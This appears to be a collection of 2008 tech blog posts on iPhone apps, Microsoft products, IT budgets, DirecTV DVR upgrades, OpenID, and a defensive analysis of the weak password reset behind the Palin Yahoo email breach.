You'll also likely be interested to know that Microsoft has released the fifth version of its Security Intelligence Report, which looks at the state of computer and information security over the past six months. You can find links to the full report and the key findings summary documents on Microsoft's web site.

It's been an interesting and exciting few days in iPhone land.

In the just past couple days, Google Earth and a voice recording application from Griffin have both been released for the iPhone. Add to that the news that iPhone owners now have access to AT&T WiFi hotspots for free - nice! Google Earth is - of course - free, and Griffin iTalk is free for a limited time, along with it's Mac client (for syncing).

Google earth on the iPhone (iTunes app store link) is pretty cool. It takes advantage of the GPS and accelerometer, and other than that it's, well... Google Earth, just on a smaller screen. You can use touch/twist to rotate gestures on the screen, as you'd expect. I should mention that it's crashed a lot on me, and that when I first installed it I had to hard-reset my phone to get anything to work. But for the most part its been as stable as any other complex app on the device (meaning mediocre to so-so). It's worth the install for sure, if for no other reason then just because of most of the cool things you can do with Google Earth on your Mac or PC.

The other great app that everyone with an iPhone or second-gen iPod Touch should run and get right now (while it's free) is Griffin's iTalk and the complementary iTalk Sync client, which allows you to sync your audio recordings made with the iPhone app to your Mac (PC version coming soon) over the air via WiFi. It works like a charm, is well-documented, looks great and the audio quality is user configurable. The best quality setting sounds pretty great. It could realistically be used for man-on-the-street style interviews.

Provide a file name, select the recording quality, and start recording by clicking the Big Red Button:

The green button means you're actively recording. The VU meter shows your audio levels live. Click the green button to stop recording.

You'll end up with a file (or more than one if you record multiple times) showing in the recording list.

When you load up the Mac sync client app (a small and quick install) and start the iPhone app on the same wireless network, you'll be prompted to allows the sync client to access your iPhone's recordings.

While copying the file via the sync program, the iPhone shows you the status and progress:

And finally you have the files on your Mac (or soon on a PC), in .AIFF format, ready to use. Nice and easy!

I plan to play with the app in Barcelona next week and test the audio quality to see if it's really good enough for on-the-spot interviews for the podcast. It's worth a shot, although it won't touch the quality of my Zoom H4 recorder, of course.

Update: Microsoft's Mac business unit just set the land-speed record for turning around a fix. The story is available over at TUAW.

I've been wrestling with a problem for a few days after applying the latest Office 2008 for Mac update (v12.1.3). Everything works well except for sending and responding to meeting notices.

After the update, when Entourage tries to send a meeting notice or response, it throws the following: "[Error] Unexpected data was encountered. [Explanation] Mail could not be sent. Account name: 'Exchange - Greg' Error: -17997."

Needless to say, this is a frustrating problem. I managed to send some original meeting notices by opening them up after they failed to send (you can find them in the Outbox) and clicking the 'Send' button a second time. That worked for some reason. However, the same workaround doesn't seem to work for meeting responses, so I am having to send emails created by hand in order to confirm meeting requests with people who send them to me. Thankfully, when I accept a meeting request it does make it onto my calendar properly - it's just the outbound email that gets hung up.

I've had problems in the past with Entourage not parsing updates created by Outlook, but this is a much bigger and more painful problem. This is another case of "if it just worked the way it's supposed to, it would be the best option by far." A lot like my iPhone in that regard. Glitches kill the experience and create big frustration.

UPDATE: I just found a Microsoft newsgroup thread discussing the problem, and apparently it's a known issue bug in the latest release. Hopefully they'll be able to release a fix quickly. Workarounds include:

• Uninstall Office and reinstall, then update to the version prior to the latest release
  
• Move invitations you create from the Outbox to the Drafts folder and resend (won't work for acceptance notifications, though)
  
• Grin and bear it. :)

I may try removing my Entourage account profile from this computer completely and then setting it back up with the Exchange server fresh just to see what happens. I'd lose a few things that are store local-only in the process, but that won't really hurt me should I decide to go that route.

Anyone else having this issue? Any other great workaround ideas?

The fall conference season is upon us, and I'll be off to Barcelona on the first of November for a week at the Microsoft TechEd Europe/Middle East/Asia conference. I'll be joining my friend and colleague, Richard Campbell, there for the week. If by chance you'll also be there, be sure to let me know ahead of time!

Then, the following week Richard and I will both be traveling to Las Vegas for the Connections conference, where we'll be doing a live RunAs Radio recording session. Should be fun, and we have a great guest slated. More on that later.

If you'll be at either conference, please let me know via a comment or an email!

My friend Richard Campbell and I spent the morning recording a couple episodes of RunAs Radio for publication in the near future. One of our guests (whom we shall reveal when the show is published) provided some amazingly great information about using Performance Monitor, or "perfmon" for short. He's a perfmon Ninja, really. I'm excited about that show because I think when it comes up I think people will be able to learn something quite useful, as it includes some desktop video (perfmon is, after all, a very visual tool) and other resources. I think you'll like it.

Needless to say, both of us have been playing with perfmon for the past hour. Richard just IM'ed me with a funny situation, though:

Not really sure how that works. :)

So, be sure to check out RunAs Radio for the Performance Monitor show, which will be published sometime in the next couple weeks. We've also had a number of other great guests sit down with us over the past while, talking about some very useful topics suited for IT professionals. So check it out!

Dumping the warm-fuzzy naming convention and avoiding the year-based names of the past, Microsoft announced today that the next version of Windows, which will replace Vista, will be called simply "Windows 7."

Good idea.

It's the seventh version of Windows. It makes sense. Returning to a solid, basic, fundamental naming convention helps, I think, in helping to focus purpose on ensuring the fundamental requirements are met, that a solid, simple (from a usability standpoint at least) product is released. Etherial names like "Vista" sound cool, but subconsciously they also evoke an image and set an expectation of something magical, something not quite real.

That's not what's needed, especially this next time around. So keeping the name simple is the first sign of staying focused on the core product. I like that.

As Mike Nash explains, this is the first time a code name for an early product in development has been retained for the final product. Well, given the substantial departure from the conventional Microsoft code names, I'd say it's okay this time. :)

More information is available on the Windows Vista team blog, where the announcement was made.

Analyst and research company Gartner revised its IT industry projection figures and - as reported this morning by ZDNet and released by Gartner themselves - presented them during a symposium keynote at the company's big annual IT conference, which opened this morning. In a nutshell, Gartner analyst Peter Sondergard says they still expect growth, and that even in the very worst case, IT spending next year will fall about 2.5 percent. From ZDNET:

• Gartner had expected budgets to grow 3.3 percent in 2009.
• Now the most likely case is IT budget growth of 2.3 percent to 0 percent.
• The worst case is that IT budgets will be down 2.5 percent.

Forrester Research also recently cut it's projections for 2009 IT spending, but still ended up with figures in positive growth territory. So, if the analysts are to be believed, the business sector feeding products and services to IT should still see some growth.

The question is, where will that growth happen? My guess would be that one good place to be doing business is anywhere products or services are commoditized and can be outsourced, as well as in key technology areas like security and high availability.

Having successfully managed an IT organization at a "dot-com" company through a few years of painful economic times early in this decade, I can say from experience that at the time we had to cut overall IT spending dramatically to allow the company to survive. We went quickly from buying lots of new computers and software and building out data centers to buying practically nothing new for two full years. We renegotiated stacks of contracts with vendors and major software suppliers, consolidated services, convinced vendors to charge us less, and in the end prioritized every single project and said "no" a lot.

As a result, we cut our multi-million dollar budget almost in half and - in combination with other business changes - put ourselves in a position where we were just able to weather the storm financially. It was painful and a bit scary at times, and we had to deal with the side effects of substantial change. We had to get very creative in leveraging what we already had and nothing more, but in the end we all learned a difficult yet necessary lesson: You don't have to spend, spend spend to survive, or even to thrive in some cases.

In fact, what we needed to do was just the opposite of the "spend" approach. We would still spend where it made the most sense - but our decision-making process changed dramatically. You have to shift where the money goes to maximize your dollar's impact in the specific environment, adapt to the rapid changes in the marketplace, and work with your business partners and vendors to make it through to the other side. Smart vendors and good partners know that doing whatever it takes to survive a storm together means a better relationship when we all come out of the clouds.

Gartner has a list of ten things they say IT organizations need to consider when faced with tough economic times. They are not easy or happy things. But I think they're spot-on. I've had to do all of these things when times were toughest.

• Reduce headcount or freeze hiring
• Renegotiate with technology and service providers
• Curtail data center expansion, virtualize assets and lease them back
• Consolidate systems
• Outsource commodity
• Offshore outsource
• Investment shutdown
• Prioritize projects
• Mothball businesses and projects
• Change leadership and restructure IT teams

What's your IT plan? Are your budgets shrinking, or staying about the same? How would you prepare for tight times ahead?

The Chumby is a cool little Internet-enabled device that sits pretty much wherever you want and does all sorts of cool things. You can check it out here. Today it became even better that before, in a way that I especially appreciate, so I jumped on eBay to see if any were available there (you can buy them online new, too).

So what's this new cool thing that makes it even better in my eyes? Pandora - the Internet "radio station" app that I already use on my computer as well as my iPhone, is now available for Chumby.

I'm looking forward to waking up to my Pandora stations, viewing the latest weather for flying, playing new podcasts when they become available, displaying some of my favorite pictures. I'm sure there are a ton of cool things I'll be able to use it for that I can't possibly think of yet. I'll have to take a look at the Chumby Widgets guide while I wait for it to arrive.

A bit about the Chumby:

Chumby was designed from the beginning to take all your favorite parts of the internet, whether they’re video clips, or internet radio stations, or anime cartoons, or sports scores or the weather, or anything else, and, using your existing wi-fi connection, simply deliver them to you at a glance. Automatically, one after the next. You just leave it on — don’t worry, your carbon footprint isn’t getting much deeper, chumby draws far less power than a light bulb. No need to go to your study and boot up your computer and launch a browser, no need to fish your smartphone out of your purse and launch the browser application (…and wait) to get your favorite bits of online goodness.

Do you have one? What do (or would) you use it for?

DirecTV had an unusual technical glitch sometime in the past 48 hours, and as a result customers with either standard or HD DVRs might experience issues with a "frozen remote" or similar behavior. DirecTV Has emailed customers to let them know (see below).

This is important because if your DVR is in the hung state they describe, you need to reset it, or your scheduled recordings will likely not be recorded.

I had the issue exactly as described the night before last on my HD-DVR, and did a red button reset (RBR) at that time in order to restore it to normal functionality, which is pretty much what the email from DirecTV says to do:

IMPORTANT NOTICE ABOUT YOUR HD DVR OR DVR RECEIVER

In our effort to improve and expand our service, we experienced a temporary technical glitch. If your HD DVR or DVR receiver is not responding to your remote control or front panel commands, you can resolve this issue by pressing the red "Reset" button located inside the small door on the front right corner of your receiver. Please allow about 15 minutes for your receiver to complete the resetting process. Once completed, your picture will return automatically. Unfortunately, any show you may have scheduled to record yesterday will not be available on your DVR.

We sincerely apologize for any inconvenience this may cause you. Our promise is to provide you with the best television experience, and to resolve any issues that might arise as quickly as possible. If you have any further concerns, please do not hesitate in contacting us at 1-800-347-3288.

I speak English natively. My friend that I want to chat with in IM speaks German. A chat-helper service called MTBOT (Microsoft Translation Robot) allows me to type in English, yet my friend sees and reads what I wrote translated into his native German language. Likewise, when he types in German, what I see is his messages machine-translated into English.

If you use Windows Live Messenger, you too can add mtbot@hotmail.com to your buddy list. When you want to chat with someone who speaks another language, add them to a "conversation" with your TBot. You and the other person are asked to specify your native language, and after that you just start typing.

There are a number of commands you can issue to control TBot's behavior. To see a list of commands, just type "TBOT ?" in the IM window. You'll then be presented with the list of available commands:

Cool stuff. Check out the Translator information posted over at the Live Search blog.

Currently-supported languages:

• English to/from:
• Arabic
• Chinese Simplified
• Chinese Traditional
• Dutch
• French
• German
• Italian
• Japanese
• Korean
• Portuguese
• Russian (Russian to English only)
• Spanish
• Chinese Simplified to/from Chinese Traditional

Call your Congressional rep now (202-225-3121) and ask them to support H.R. 7084, the Webcaster Settlement Act of 2008. Pandora and other similar services need your help.

I called last night and left a message for my Congressman in Oregon, David Wu. If it's your first time, calling just know it's easy: The operator will answer the phone, you ask for your congressman by name, and they transfer you to the correct office.

I left a message for Wu last night stating that I wanted him to support the resolution because it was of a timely nature and it ensured fair ad reasonable competition, and that industry lobbyist attempts to defeat it or stall it were anticompetitive in motivation.

If you use online streaming music services like Pandora or other similar ones, their very existence may depend on this resolution, so make your voice known now. It really does make a difference.

If you don't know who your Congressperson is, you can look them up quickly here. All you need is your ZIP code.

On Wednesday morning (September 24th, that is) at 9 a.m. Pacific time, Ed Bott will be joining Microsoft Technical Fellow Mark Russinovich and others for a live IT Springboard panel online discussing Windows Vista performance, a topic of interest to many and (based on my observations) understood by few.

You can ask questions live or email them to the panel ahead of time. The panel should be located here when it happens. The Springboard Virtual Roundtable Series is a great IT resource, worth keeping an eye on. Here's some detail:

Springboard Series Virtual Roundtable
Under the Hood: Windows Vista Performance…Need Answers?

Join Mark Russinovich and a panel of industry experts for a LIVE virtual roundtable to explore your top of mind performance issues, common misconfigurations, and tips on how to fix them. From boot times and applets to disk performance and battery life, find out how to optimize Windows Vista and what you can do to improve overall system performance.

Submit your performance questions live during the event or send them in advance to vrtable@microsoft.com.

Save the date!
Wednesday, September 24, 2008
9:00am Pacific Time

I wasn't going to write anything about the new Microsoft commercials, which I really like, despite the fact that I wrote about the two Seinfeld/Gates commercials.

But then I realized that the PC Guy in the commercials is Sean Siler. He's a real tech guy who actually works at Microsoft for a living - as opposed to being a professional actor. Here's his TechNet blog.

In fact, Sean epitomizes the "I'm a PC" message. We interviewed him not too long ago for RunAs Radio on the topic of IPv6 (he's the program manager for IPv6 at Microsoft). I thought you might be interested in hearing what Sean had to say at that time. He's wicked smart and a fun conversation.

It sounds like it's been an interesting evening for Sean, but he took the time to exchange a couple emails with me, which was cool of him. Congrats to Sean, and to Microsoft. Good start!

So, here you go - Our interview with Sean from a few months ago:

RunAs Radio #53: Sean Siler Sets Us Straight on IPv6! (download MP3)

And here are the three new commercials. Personally, I like 'em.

Oh and if you send an email to Sean's address as listed in the three videos, you'll get a reply. I'd post it here, but it'll be more fun if you do it yourself. :)

It's really the classic case study in information (in)security and the need for strong authentication. With all due respect to the good people at Yahoo!, this opportunity to review Internet security mechanisms is too good and too useful to pass up.

By now, we all know Republican vice-presidential candidate Sarah Palin's Yahoo! email account was broken into on Tuesday night (read the link to get the details). Apparently (and fairly obviously), access was gained via the forgotten password mechanism on the Yahoo! webmail interface, which allowed the malicious person to reset the profile's password with just a few pieces of information about the Alaska governor (birthdate, ZIP code and a piece of info related to where she met her spouse) that could be easily discovered by searching Google. That fact that so much of Palin's life history has been documented on the Web makes her that much more vulnerable to knowledge-based security mechanism hacks. It should also be noted that some security questions are better (or stronger) than others, so it's important that questions you choose for online protection are not ones that can be answered with information available on the Internet.

We security folk frequently talk about something called "multifactor authentication." By "multifactor" we mean an authentication process that requires two or more of the following:

• Something you know (passwords, user names, answers to questions)
• Something you have (token, device, phone, etc.)
• Something you are (physical fingerprint, voiceprint, or other biometric measure such as a verifiable, non-spoofable behavior (some call this "something you do"))

Most multifactor auth systems are pretty easy to recognize. You know them when you see them. Those key fobs or cards with the revolving digits that you have to provide at login are a common example. They're also fairly expensive and complicated. Some multifactor technologies are easier to use than others. There are a variety of behind-the scenes systems that track user behavior and other markers to determine if the person accessing an account is the legitimate user or a bad guy, for example. A well-designed and well-implemented system balances usability with security strength, and some systems yield higher results in that regard than others.

In this particular case, the bad guy was able to leverage only things he knew (found via a search engine) to change the password on the account and gain access to the Yahoo! Mail account. No other verification or mechanism was required. That's simply weak security in this day and age.

I walked through the account password reset system on my Yahoo! account, just so I could get a first-hand look at how it works and how simple it is to reset an account there. Honestly, it was a little too easy. Here are the details (you can click each image to see them full-size):

First of all, I selected the option on the login screen that says, "Forgot your ID or password?"

Next I was prompted either to supply an email address for reset, or to choose the option to reset without access to a registered email account (which to me was an immediate red flag). Obviously, I chose the latter.

This is where the security mechanism breaks down. I'm immediately asked to answer a "secret" security question. This process is called knowledge-based authentication. It's an additional layer of validation in a single-factor authentication scheme - I have to provide "something else I know." Even in my case it's information that could be fairly easily discovered (assuming I answered the question accurately). It should also be noted that in order to change my security question, I need to contact Yahoo! customer support (which I did).

Once I supply the correct answer to a single question, I'm immediately allowed to change my password. At this point it should be noted that if I was prompted to answer multiple questions in this validation workflow, using some randomization of questions and setting a time limit to answer each one, that would at least make it more difficult for someone to gain unauthorized access. Systems are available to do exactly that (I know, I used to manage a team that built one such authentication app).

I'm asked to verify my ZIP code and country (just for profile information), and that's it. Note that other analyses of this process seemed to say that providing the ZIP code and Country was required to reset, but that was not the case in my review. In fact, it appears the bad guy is just being handed that information after changing the password, for free. Take that info, stick it in your Google and smoke it: More search accuracy for the next phase in your attack. Not good.

I'm then notified that my account is now "up to date." I also got an email notifying me of the changes that were made to an account I had tied to the Yahoo! profile for communication purposes. At least I can rest assured that I'll get an email before the bad guy goes into my profile and removes that address from the account.

I think you're starting to get the picture. The authentication mechanism is only as strong as it's weakest part, and the fact that I have an option to reset without ever having to leave the browser window is a problem. Even changing the system to require that I receive an email (which is already the standard reset mechanism) would be better. As it stands today, that's an option, but not a requirement.

Many will argue that hey, it's just an email account, and that Yahoo! can't be expected to implement stronger security on their site as a requirement. I say that's flat out wrong (and what the account was or wasn't used for isn't particularly relevant to this analysis). Email is the number one mechanism used to move information - both innocuous and sensitive - among people. The fact that it's not the best mechanism for doing so ignores the fact that it's how people do things. There are a variety of options available to help ensure only authorized users can get access to email accounts. The fact they are not regularly implemented is a sad state of affairs.

There are many options to strengthen the identification and authentication processes. We can't discuss them all here, but a couple on my mind are described below.

Physical tokens - Making the jump from only having to remember a user name (which is usually the email address, so hardly a secret ) and a password to a scheme where one must carry a token and provide information from it in order to log in is quite a leap (carrying yet another piece of technology around doesn't exactly appeal to me), but it works. The costs associated with fulfilling, supporting and maintaining such a system are very real, and for Yahoo! may not be realistic. But there are systems available to those who know and choose to use them that can substially improve your authentication profile. Check out Omar Shahine's recent blog entry describing how he's securing his accounts in a few ways, including with an OpenID-integrated single-sign-on token system from Verisign.

But, even if you use an OpenID to sign in, what if your OpenID is a Yahoo! ID or other identity that you can reset with a single piece of discoverable knowledge? It still needs to be protected from unauthorized changes and access.

How to do that? There are several ways. I have a couple of favorites, but please feel free to share yours.

Require security changes to take place out of band - One option, probably quicker and less expensive to implement than physical tokens, is using something like an automated telephone call or text message to require the owner of the account to verify a change should be allowed. By registering one or more phone numbers when the account is created and requiring a unique secret be provided via that channel to authorize a change, one can sufficiently secure the account. Vidoop uses a system like this for resetting information on their OpenID accounts. It's simple and it works. It requires me to have the correct device (my phone), uses a different communication channel (the phone network, hence "out-of-band") to contact me and then verifies I am a legitimate user. It requires me to interact as part of any change.

But the technology options get even better: JanRain's myOpenID, for example, now has a feature called "CallVerfID" that equips your myOpenID for two-factor authentication via the phone. It's quick and easy to set up and instantly protects every login with a multifactor authentication mechanism. I found I was not able to use it with a couple phone services due to the way they answer the call (I should provide feedback about that, added to my to-do list), but when set up for my cell or home phone it works as advertised.

Expect more of this class of technology in the future. Think, for example, about voice biometrics: Is that really you that's answering your phone? That kind of technology would be very cool if it was reliable. It's a complicated but useful technology that's being refined even as we discuss this.

I would guess that "review of all Internet email accounts" has been added to every campaign manager's list of things to do deal with early in the vetting process (not to mention the Secret Service's list). Any of the technologies above would likely have prevented the malicious bad guy from accessing the Yahoo! email account.

In the security world, change only happens when enough people make enough noise, a regulator gives an order, or enough companies feel enough financial pain. This looks like one of those cases where noise is the better option. It's certainly better than regulatory mandates (which tend to create collateral damage), and waiting on big companies to suffer is not exactly a reliable plan.

So... Feeling okay? How safe is your account, really?

The third wave of official beta apps under the Windows Live name have been made available a bit early for download. Full information and download links are located over at liveside.net. The updated Windows Live apps are:

• Messenger v9
• Windows Live Movie Maker
• Mail with Calendar synchronization
• Writer
• Photo Gallery
• Family Safety
• Outlook Connector

There are also non-English versions listed on the site and a few individual reviews posted at liveside.net:

• Wave 3: Windows Live Movie Maker Beta
• Wave 3: Windows Live Mail - Calendar, Calendar, Calendar (and more)
• Wave 3: Windows Live Writer – A First Look
• Wave 3: Windows Live Messenger 9 Beta – What’s New- A Comparison With 8.5

The most noticeable change is a whole new UI scheme for the apps, but there are a number of other changes in there, as well. Messenger's look and feel is very different. I see Live Writer now has direct YouTube integration - nice move and probably one that took some serious discussion to make happen (understandably). Time to start digging in and seeing what else the new apps offer under the hood.

The latest version of SQL Server implements several object models through Powershell to let folks manage SQL Server without using the SQL management tools.

We've just published a new episode of the RunAs Radio podcast with Michiel Wories, in which we dive into SQL Server 2008's Powershell features. Michiel is certainly the one to know and share about these features: He joined Microsoft 7 1/2 years ago in the role of Senior Program Manager for Microsoft SQL Server and is currently working as a Principal Architect on defining the next generation SQL Server management platform infrastructure. Michiel's blog is at http://blogs.msdn.com/mwories/

RunAs Radio is a weekly Internet-audio talk show for IT Professionals presented in a high-quality podcast format. Since April 2007 RunAs Radio has brought experts in the field of IT to its 10,000+ listeners, to inform and entertain. Professionally produced interviews are about 30 minutes in length and pack a substantial amount of information for maximum benefit. For more information about RunAs Radio, visit http://www.runasradio.com. RunAs Radio is available on iTunes and the Zune Marketplace, as well as directly from the RunAs Radio web site.

I enjoy the fact that my DirecTV DVR (model HR21-200) records HD content for me. The quality is generally pretty darned good (it does 1080p video now after a recent a software upgrade), and it beats the heck out of anything else available to me in the boonies. The unit comes equipped with a 320GB (give or take) internal drive, which allows something like 30 hours max of HD recording. I found that when recording full seasons of a few shows like The Office or Lost in HD (and most of us will tend to add a few HD movies in the mix), the drive tends to fill up before I want it to.

So, I ordered a Cavalry 1TB external eSATA/USB 2 drive from Newegg.com, which arrived today. I've hooked it up and it's working. My new capacity numbers? Well, it depends on the specific content, but up to about 145 hours of HD content or as much as 1000 hours of SD programming (wow). Variables that affect actual video-time capacity includes resolution, compression (MPEG2 uses more space than the newer MPEG4) and how much motion there is in the video (since more motion means less compression benefit).

I wanted to document the simple setup steps here, so people can get theirs to work if they should want to do the same thing. You can find similar info on the 'net, but people seem to have a hard time with it. My drive came pre-formatted NTFS, which is fine. The DVR will wipe any file system on whatever drive you hook up. Below are the steps that one needs to follow in order to get the external drive up and running with the DVR. The order of the steps is crucial. Don't try to power up your hard drive after you start the DVR, for example.

First of all, if your external SATA drive is a Seagate FreeAgent, you will probably not have any luck, unless you have a HR20 DVR unit. I've heard many stories from people who bought a FreeAgent drive and tried to attach it, with no luck. So, while the FreeAgent drives are great for gneral storage, they are probably not what you want to buy to attach to your DirecTV receiver. My HR21-200 unit simply refused to work with my 750GB Seagate drive, so it's doing video editing duty now. Your mileage may vary, but my experience is that they just don't work.

To start using your new hard drive:

1. Power down the DVR.
2. Unplug the DVR from the wall power. This is important.
3. Attach the external drive's eSATA cable to the back of the DVR unit.
4. Power up the external hard drive first, and allow it to "spin up" (give it about a minute to be safe).
5. After the hard drive has "spun-up," plug the DVR back into the wall power plug.
6. Be patient (very patient) and wait for the DVR to restart. It's not dead. Be patient.
7. After it does it's thing, you'll be able to watch TV again. Check your recorded items list and make sure it's blank.
8. Run a recording test and make sure you can play back.

Note that the DVR's internal drive is completely bypassed when you add a new external hard drive - the system no longer sees it. So your recordings and what-have-you from the internal drive will not be available to view. However, in my experience if you restart the DVR without the external drive attached the internal drive "comes back to life" and you'll see your old recordings there.

Any scheduled recordings on your "To Do List" that you set up before adding the external hard drive will no longer be programmed. This is important - You will need to set up your recording schedules again. Head over to DirecTV's online scheduler or their mobile scheduling site at http://m.directv.com and sign in to start setting things up. I sometimes find the mobile site to be a bit easier to use, even on a desktop or laptop PC - especially since it lets me search by name.

Also, note that whatever you set up online may not be configured using the default recording setting you've established on your receiver, so be sure to go to the receiver's Manage Recordings list and review the new items that appear in your To Do list to make sure they're set to what you want. In my case, I had to make changes. Seems like recordings scheduled online should use the defaults you've established on your machine, but they didn't for me.

Most importantly, you can look for good deals on decent external eSATA hard drives to do an inexpensive upgrade to your DVR. If you like spending lots of money, you could go to one of the sites that offers upgrade hardware services, but one such site sells essentially the same drive I bought and installed myself. Their price? $299.00, and that's just for the hardware. If you want your internal drive copied to the new drive, they can do that for an additional $59 - Not worth it to me.

How much did I pay for mine? $167.00 from Newegg. You can do the math. Shop around, prices are even lower now, and you can find an even better deal out there.

Over at Wired's Gadget Labs blog, Brian Chen writes about information discovered during a webcast presentation on Thursday covering the recently discussed iPhone security weaknesses having to do with bypassing the password-protected lock screen.

Jonathan Zdziarski, a data forensics expert and author of the forthcoming book "iPhone Forensics," did the presentation for law enforcement personnel and anyone else who might have a need to access an iPhone to discover information. During the presentation, in which he outlines a method for breaking into the phone with modified firmware and some hairy manipulation, he also showed how the iPhone takes a screenshot of every application the iPhone's user closes by pressing the "home" button. The saved image is used to "draw" the collapsing screen animation you see when your application closes and you're returned to the home screen. The image file is then deleted from the iPhone's storage.

But, nothing is ever really completely "deleted." And in this case, apparently when the temporary image file is killed from storage, the data "on-disk" is not overwritten or otherwise cleaned, so anyone with some basic forensics knowledge can search the iPhone storage space for the old files and recover them easily. You can do the same thing on pretty much any computer.

Depending on your point of view, this is either a potential privacy issue or a great forensics feature. Having worked as both a police officer and as a business security professional responsible for privacy and data integrity issues, I can understand both arguments. Certainly as a cop, being able to dig into someone's iPhone (with a proper warrant of course) to find evidence of crimes where the phone was used in some manner is of real value, and screen shots are potentially pretty useful evidence. But as a person who also values privacy as a matter of basic principle, it's a little disconcerting, especially since I didn't realize until today screen shots are being made.

The webcast recording is not yet available as of the time of this writing, but it should be posted to http://www.youtube.com/OreillyMedia in the next few days. If you're interested in learning something about electronic data forensics, it will be worth the time to check it out. Here's the O'Reilly abstract from the session:

In this free, live webcast, iPhone hacker and data forensics expert Jonathan Zdziarski guides you through the steps used by law enforcement agencies to bypass the iPhone 3G's passcode lock by creating a custom firmware bundle. Author of the upcoming book, iPhone Forensics, Jonathan has devoted much of his talent supporting law enforcement personnel with his development of a forensics toolkit that allows them to recover, process, and remove sensitive data stored on the iPhone, iPhone 3G, and iPod Touch. This live presentation is aimed towards law enforcement and anyone else who has a need to access the not-so-readily available data on an iPhone.

Jeff Goodwin Rings Us Into Unified Communications
RunAs Radio Show #73 - 9/3/2008 (35 minutes)

Richard and I talked to Jeff Goodwin about Microsoft Unified Communications in this week's RunAs Radio show. Jeff lays out the relationship between Exchange, Office Communicator and Unified Messaging Server to combine email, telephone and instant messaging. Check out Jeff's TechNet articles at http://www.shrinkster.com/11mj and http://www.shrinkster.com/11mk.

UPDATED: Chrome is now out and available for Windows, other platforms coming in the future - Check out http://www.google.com/chrome/

As mentioned earlier here and everywhere else on the 'net, Google's Chrome web browser is coming. Today Google put an official release notice on its Official Google Blog, and they tell us it will be made available for you and me to download and try on Tuesday.

Over at Google Blogoscoped there's a whole bunch of screen shots you can check out if you can't wait until tomorrow. Screen shots are a bit hard to come by today, but tomorrow it'll be in-person for everyone, and you can probably imagine how many people will be posting pictures and writing about the new browser.

Google seeded a paper comic book to some people recently, to present and describe their future web browser (or you might just think of it as the web browser of the future), which is called Google Browser or Chrome.

So, what's the story? Making the browser more stable, more usable, more secure. At first glance, it looks like a strong starting point for the future of Internet browsers. Written from the ground-up from scratch and with the experience of several years of past browser platforms to learn from, Google has addressed many of the main concerns in today's browsers.

Now the only question is: When will we get it? I will be watching here to see if something shows up. Hopefully it's soon!

UPDATE: The release date is tomorrow (Tuesday, September 2, 2008) - More info and link to screenshots here.

A variety of technologies are incorporated into the Chrome design that improve on common browser weaknesses. The key improvements fall into the areas of stability (memory allocation and management, process management), some incredibly cool javascript environment enhancements (in the form of a new, open-source javascript engine), a bunch of user experience improvements and significant security changes.

And, it's all open source. That's right - Anyone (including other browser makers) can leverage the work done in the Chrome project and can contribute or modify to meet their own needs. Good move, Google.

Pretty exciting stuff. It will be fun to see what comes next, and when.

As mentioned the other day, LinkedIn today released their new Groups features. Groups are one of the most popular features on LinkedIn, despite the limited feature-functionality provided for groups on the web site in the past.

The new features include a searchable contacts roster (search by name, company, or other keywords such as specific areas of expertise), which is accessible to all members; and discussions with email-digest notifications (which are configurable by individual group members). A few screen clips of the new functionality are shown below, and LinkedIn has published an informational page describing the new functionality.

Notification when you sign in that your managed group now has new features:

The new tabs available reflect the new functionality:

Choose your notification email delivery preferences for discussions:

Write a new discussion topic for the group:

Recent discussions list:

Vidoop Labs has a dream:

The dream is to see Identity baked into all browsers. Just imagine opening your web browser and then selecting your Identity Provider (IDP) the way you select your default search provider. The benefits are numerous; never type in a username, never look for a login button/page (you are authenticated when you land on a domain), no phishing/MITM (the browser can do domain and SSL cert validation). You fire up your browser and authenticate (or login) similar to the way you log in to your computer every time you turn it on. The difference is you get to choose your provider and can take control of the data you safeguard, store and share on the Internet.

I could get into that.

Vidoop is a Portland, Oregon company that has built some interesting technology around OpenID. I really like the idea of OpenID, and I have a couple OpenIDs of my own that I use on various sites. But OpenID is not exactly perfect. It's still relatively young, and from the usability standpoint it needs improvement. The identity and authentication requirements of the modern Internet demand some additional features and capabilities that OpenID doesn't deliver (and you can argue that it shouldn't). By combining openID with other technologies (such as Information Cards and other strong-auth offerings) and improving usability for end-users, it could become a widely-adopted, used and trusted standard, or part of a broader one covering strong authentication and identity protection/assertion in a commonly-accepted and deployed package.

Vidoop's Luke Sontag today posted an announcement that the company's newly-formed Vidoop Labs has fired up a community project called IDIB (pronounced "Eye-Dib"), which aims to improve on the OpenID usability model and make it stronger at the same time. They've released a developer preview of IDIB in hopes of involving people and getting your input and feedback.

From the Vidoop announcement:

Over the past few years we’ve seen the adoption of OpenID continue to increase but the work that we’ve done as a community to develop this technology has only just begun. Looking at the landscape of OpenID adoption, its clear that there are several key factors inhibiting adoption, but two that we want to focus on today, namely usability and security in the browser.

It was almost two years ago when the Firefox 3.0 roadmap wasannounced and OpenID was mentioned as a new component to the platform. The Mozilla Firefox team looked to members of the OpenID community to step up and provide guidance on what exactly we imagined identity in the browser looking like, but we failed to mobilize and answer their call.

In light of that missed opportunity, Vidoop Labs has been working hard over the last several weeks to produce a prototype that we intend to use to initiate a wider discussion about OpenID in the browser and what it might look like.

And the current developer preview (which is open-source) is just a beginning. Imagine leveraging Information Cards (such as one would use with Microsoft's CardSpace, or the similar open-source offerings for Mac and Linux) in the cloud, and being able to use OpenID - one logon for all your web sites - confidently, securely and with proper security protection.

The Internet needs a good, strong, reliable, usable and secure standard technology to solve the issues related to user names, passwords, single sign on and identity protection. IDIB looks like a serious and positive attempt to start the journey directly down that path.

I thought I'd present some casual observations I made throughout the day Wednesday on a trip from Portland to Seattle, as well as some newly reported information about the AT&T 3G network that's hit the 'net over the past 24 hours or so.

The back-story here is that I - like many others - have found the reliability and consistency of the iPhone 3G to be less than satisfactory while on the 3G AT&T network.

First of all, it became clear to me over the course of several hours yesterday that the iPhone is not to blame with regards to connectivity on the 3G network. While driving from Portland, Oregon to Seattle, Washington and back yesterday, I had the opportunity to run a whole slew of speed/connectivity test sessions using the iPhone app called "iNetwork Test" (click here to get the free app in the iTunes App Store).

AT&T actually has fairly impressive 3G network coverage from south of Olympia, Washington practically all the way to Seattle, with one or two small gaps in-between where the phone switched to EDGE. Much of the area along that I-5 corridor is rural or sparsely-populated. From a wireless connectivity standpoint, it's a pretty decent area to live in if you're going to be far away from the city.

My experience in using the 3G network along my drive up and down the Interstate can be summed up thusly:

In areas with higher population density, and thus more iPhone (and other device) users, ability to a) connect to the voice network and make calls, b) stay connected to the voice network, c) make data connections and d) maintain data connections was substantially worse. The difference between dense and sparsely populated areas was like night and day.

